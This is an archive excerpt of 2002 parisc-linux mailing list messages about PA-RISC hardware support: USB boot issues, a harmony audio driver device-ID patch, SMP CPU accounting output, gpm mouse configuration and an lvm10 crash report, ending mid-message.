User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14409

> I would also like to ask you hardware gurus out there if I were to buy and
> add a PCI USB controller to the J5000, if the firmware would detect the
> keyboard and boot properly.

looks like j5000 also has suckyio... so you should have a builtin usb 
controller on your machine. why not just use that?

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Vlad D. Markov" <markov@monmouth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Using Audio card on 735/99
Date: Sun, 24 Mar 2002 20:46:27 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <200203250156.g2P1ufT92697@smtp.monmouth.com>
References: <200203242042.g2OKgET57280@smtp.monmouth.com> <20020324210214.E28384@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621180 5220 80.91.229.3 (22 Nov 2014 01:53:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org, Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 18:56:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.monmouth.com (smtp.monmouth.com [209.191.58.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9647484E
	for <parisc-linux@parisc-linux.org>; Sun, 24 Mar 2002 18:56:56 -0700 (MST)
Original-Received: from there (bg-tc-ppp745.monmouth.com [209.191.63.181])
	by smtp.monmouth.com (8.11.6/8.11.6) with SMTP id g2P1ufT92697;
	Sun, 24 Mar 2002 20:56:44 -0500 (EST)
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <20020324210214.E28384@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14410

Moderate success.

1. aumix worked.
2. xmms hung forever.
3. I wrote an au file to /dev/dsp. I thought nothing happened. Minutes later 
I was surprised to hear the file over my headphones. I have been unable to 
repeat this.

On Sunday 24 March 2002 04:02 pm, Matthew Wilcox wrote:
> [this is a kernel-related question, moving discussion to parisc-linux]
>
> On Sun, Mar 24, 2002 at 03:32:53PM -0500, Vlad D. Markov wrote:
> > I would like to use my audio card on my 735/99 but have failed so far.
> >
> > I have used various kernel versions, the last attempt was with a kernel
> > drawn from cvs on 3/21/02, Linux version 2.4.18-pa7. dmesg doesn't list
> > the harmony card as found. The harmony driver was compiled with the
> > kernel.
>
> Harmony doesn't claim to support that device.  I don't know that it will
> work ... but you might be lucky :-)
>
> Try adding this patch and let's see what happens:
>
> --- drivers/sound/harmony.c     2002/02/14 19:02:21     1.25
> +++ drivers/sound/harmony.c     2002/03/24 20:52:31
> @@ -1244,7 +1244,10 @@ out_err:
>
>
>  static struct parisc_device_id harmony_tbl[] = {
> +       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007A },
>         { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007B },
> +       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007E },
> +       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007F },
>         { 0, }
>  };
>
>
> This makes harmony pick up all the Audio devices, including some it
> almost certainly won't support (eg 705 / 710 audio, which i understand
> to be completely different).  But maybe 735's sound will Just Work.
> Let's hope.



From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.17-32-smp problem
Date: Sun, 24 Mar 2002 19:01:58 -0800 (PST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203241900450.13376-100000@eiger.apptechsys.com>
References: <20020325003312.GA26353@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621180 5223 80.91.229.3 (22 Nov 2014 01:53:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:00 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 20:02:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3A8A4851
	for <parisc-linux@parisc-linux.org>; Sun, 24 Mar 2002 20:02:11 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id F00E27BC46; Sun, 24 Mar 2002 19:01:58 -0800 (PST)
In-Reply-To: <20020325003312.GA26353@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14411

On Sun, 24 Mar 2002, Randolph Chung wrote:

> > I would also like to ask you hardware gurus out there if I were to buy and
> > add a PCI USB controller to the J5000, if the firmware would detect the
> > keyboard and boot properly.
>
> looks like j5000 also has suckyio... so you should have a builtin usb
> controller on your machine. why not just use that?
>
This controller is damaged -- it will not work.  I'm looking for an
alternative.  Thanks for your help....


-- 
Life is like a 10 speed bicycle.  Most of us have gears we never use.
		-- C. Schultz




From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel 2.4.17-32-smp problem
Date: Sun, 24 Mar 2002 20:58:48 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20020325035848.477324855@dsl2.external.hp.com>
References: <Pine.LNX.4.33L2.0203240928550.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621181 5227 80.91.229.3 (22 Nov 2014 01:53:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 20:58:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 477324855; Sun, 24 Mar 2002 20:58:48 -0700 (MST)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Sun, 24 Mar 2002 09:33:16 PST." <Pine.LNX.4.33L2.0203240928550.13376-100000@eiger.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14412

Jeremy Drake wrote:
> I was running 2.4.17-32-smp before.  It just updated a debian package of
> the same kernel version.  I had no problems with the old one, other than
> the fact that it seems to ignore cpu0.  All processor time goes to cpu1
> and cpu0 gets a ton of idle.

hmm..that fits with the "top" report of 50% idle that I've seen.
We've already got a bug report on this, iirc.

Your observation suggest something wrong with either process scheduling
or process accounting.

And I hope CPU0 isn't completely idle, look at /proc/interrupts.
I know interrupt distribution works.

> When the box crashed both times, I was checking out the cvs tree :)

network/IO intensive load - lots of interrupts...hmm.

grant



From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.17-32-smp problem
Date: Sun, 24 Mar 2002 21:10:22 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20020325041022.9E3644859@dsl2.external.hp.com>
References: <Pine.LNX.4.33L2.0203241900450.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621181 5228 80.91.229.3 (22 Nov 2014 01:53:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 21:10:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9E3644859; Sun, 24 Mar 2002 21:10:22 -0700 (MST)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Sun, 24 Mar 2002 19:01:58 PST." <Pine.LNX.4.33L2.0203241900450.13376-100000@eiger.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14413

Jeremy Drake wrote:
> This controller is damaged -- it will not work.  I'm looking for an
> alternative.  Thanks for your help....

Bummer. I think you better start getting used to serial for booting.
PDC typically only knows how to talk to a few select devices needed
for booting. And some of them it knows are built-in and where to
find them.

If you setup the machine to auto-boot and add a regular PCI USB
controller card that linux likes, you should be able to have
X11 just find the USB Keyboard/Mouse from the add-on card as well.

grant



From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel 2.4.17-32-smp problem
Date: Sun, 24 Mar 2002 23:33:39 -0800 (PST)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203242328170.13376-100000@eiger.apptechsys.com>
References: <20020325035848.477324855@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621181 5232 80.91.229.3 (22 Nov 2014 01:53:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:01 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 00:33:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 599DF4858
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 00:33:51 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 0E7547BC46; Sun, 24 Mar 2002 23:33:39 -0800 (PST)
In-Reply-To: <20020325035848.477324855@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14414

On Sun, 24 Mar 2002, Grant Grundler wrote:

> And I hope CPU0 isn't completely idle, look at /proc/interrupts.
> I know interrupt distribution works.
>
according to /proc/stat
cpu  599904 33379482 34656795 68636319
cpu0 0 0 64 68636186
cpu1 599904 33379482 34656731 133

>From the docs I've seen, the numbers are user, nice, system, idle
respectively.  As far as I can tell, cpu0 only used 64 whatevers in a
timespan of ~68 million.  Doesn't look too much like any interrupts are
being handled there (I assume that would register as system).

I'll check /proc/interrupts when the box is back up.  BTW, these numbers
are from earlier, when the box wasn't crashing... It was up ~1 week at
the time.

>
> grant
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

-- 
When it's dark enough you can see the stars.
		-- Ralph Waldo Emerson,





From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: Re: Verifying gpm problems.
Date: Mon, 25 Mar 2002 10:19:45 +0100 (CET)
Lines: 57
Approved: news@gmane.org
Message-ID: <1017047985.3c9eebb1b0bbe@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621182 5257 80.91.229.3 (22 Nov 2014 01:53:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 02:19:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26C92485E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Mar 2002 02:19:52 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16pQdl-0004KR-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Mar 2002 10:19:45 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14415

Just for information.

Joel

----- Forwarded message from joel.soete@freebel.net -----
Date: Mon, 25 Mar 2002 08:31:40 +0100 (CET)
From: joel.soete@freebel.net
Reply-To: joel.soete@freebel.net
Subject: Re: Verifying gpm problems.
To: "Zephaniah E. Hull" <warp@babylon.d2dc.net>

Quoting "Zephaniah E. Hull" <warp@babylon.d2dc.net>:

> I have some bad news, your mouse does not know how to speak the PS/2
> protocol.
> 
> Research seems to indicate that the HP mice are the same as the OEM
> Logitech mice, which are known to be broken.
> 
> There is no way to handle this correctly, you will have to use the
> fups2 protocol.
type=fups2 works fine (in /etc/gpm.conf) (for gpm-1.19.6-11 naturally)

Thanks a lot for advise and attention,
    Joel
> 
> Sorry.

> 
> Zephaniah E. Hull.
> 
> On Sat, Mar 23, 2002 at 11:59:10AM +0000, Joel Soete wrote:
> > Here you are.
> > 
> > Again sorry for inconvenience,
> > 	Joel
> 
> -- 
> 	1024D/E65A7801 Zephaniah E. Hull <warp@babylon.d2dc.net>
> 	   92ED 94E4 B1E6 3624 226D  5727 4453 008B E65A 7801
> 	    CCs of replies from mailing lists are requested.
> 
> "I am ecstatic that some moron re-invented a 1995 windows fuckup."
>         -- Alan Cox
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)

----- End forwarded message -----


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel 2.4.17-32-smp problem
Date: Mon, 25 Mar 2002 11:42:14 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <F8418E18-3FDC-11D6-80EC-0030656F07A2@esiee.fr>
References: <20020325035848.477324855@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621182 5268 80.91.229.3 (22 Nov 2014 01:53:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:02 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 03:42:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E2AA4853
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 03:42:29 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP
	id 9C32B49C20; Mon, 25 Mar 2002 11:42:14 +0100 (CET)
In-Reply-To: <20020325035848.477324855@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14416

Le lundi 25 mars 2002, =E0 04:58 , Grant Grundler a =E9crit :

> Jeremy Drake wrote:
>> I was running 2.4.17-32-smp before.  It just updated a debian package=20=

>> of
>> the same kernel version.  I had no problems with the old one, other=20=

>> than
>> the fact that it seems to ignore cpu0.  All processor time goes to =
cpu1
>> and cpu0 gets a ton of idle.
>
> hmm..that fits with the "top" report of 50% idle that I've seen.
> We've already got a bug report on this, iirc.
We're running a 2.4.17-pa17 SMP for over 12 days now on our A500;
The top also shows us a 50% idle.
The slmon utility shows that only one processor is being used (CPU1),=20
but the experience told us it wasn't true (see bellow).
>
> Your observation suggest something wrong with either process =
scheduling
> or process accounting.
>
> And I hope CPU0 isn't completely idle, look at /proc/interrupts.
> I know interrupt distribution works.
We are running two instances of setiathome ;o) on this machine with this=20=

kernel,
both units are completed in the same time, I mean that the box does two=20=

units in the time it needs to do one in non-SMP mode. Therefore I think=20=

that both processors are functioning properly ;o)
We have noticed that the load average seems to reflect the real load on=20=

the machine: it goes up to 2.00 when 2 setis are running, even though=20
only one seems to be "on processor" according to the top.

We suspect that something goes wrong with the proc.
Here's our /proc/interrupts:
[varenet@mkhppa3 ~]$ cat /proc/interrupts
  IRQ      count         Region    ISR
  64:  218592808    8402371       PA-CPU-00  timer
  65:    7219789          0       PA-CPU-00  IPI
  66:    8402371         30       PA-CPU-00  IO-SAPIC00-L0
  67:          0     239155       PA-CPU-00  IO-SAPIC00-L1
  68:          0       2284       PA-CPU-00  IO-SAPIC00-L2
  69:         30          0       PA-CPU-00  IO-SAPIC00-L2
  70:     239155          0       PA-CPU-00  IO-SAPIC00-L3
  71:       2284          0       PA-CPU-00  IO-SAPIC00-L4
  72:          0          0       PA-CPU-00  IO-SAPIC00-L5
128:    8402371          0      IO-SAPIC00  eth0
130:         30          0      IO-SAPIC00  sym53c8xx
131:     239155          0      IO-SAPIC00  sym53c8xx
132:       2284          0      IO-SAPIC00  serial
>
>
Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Telford <paul_telford@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] latest lvm10 package broken?
Date: Mon, 25 Mar 2002 07:49:36 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <E16pWj2-00029c-00@ros-saab>
References: <Pine.LNX.4.33.0203232012090.18420-100000@goliath.alaskatech.org> <20020324082040.183814844@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621182 5271 80.91.229.3 (22 Nov 2014 01:53:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:02 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 08:50:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCC3A482C
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 08:50:58 -0700 (MST)
Original-Received: from mailhub.rose.hp.com (mailhub.rose.hp.com [15.96.64.24])
	by atlrel8.hp.com (Postfix) with ESMTP id 1A930A00807
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 10:50:57 -0500 (EST)
Original-Received: from ros-saab (ros-saab.rose.hp.com [15.43.213.64]) by mailhub.rose.hp.com with ESMTP (8.7.1/8.7.3 SMKit7.02) id HAA25606 for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 07:50:54 -0800 (PST)
Original-Received: from ros-saab
	([127.0.0.1] helo=there ident=ptelford)
	by ros-saab with smtp (Exim 3.34 #1 (Debian))
	id 16pWj2-00029c-00
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 07:49:36 -0800
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <20020324082040.183814844@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14417

I recently started getting frequent (several times a day) crashes on my A180. 
Investigating the problem, I found that it started after I had upgraded the 
lvm10 package to the latest version (1.1rc1-1).  Downgrading back to 
1.0.1release-1 seems to have solved the problem.  Based on the crash output, 
IAOQ seems to point to find_inode, which looks consistent with an lvm 
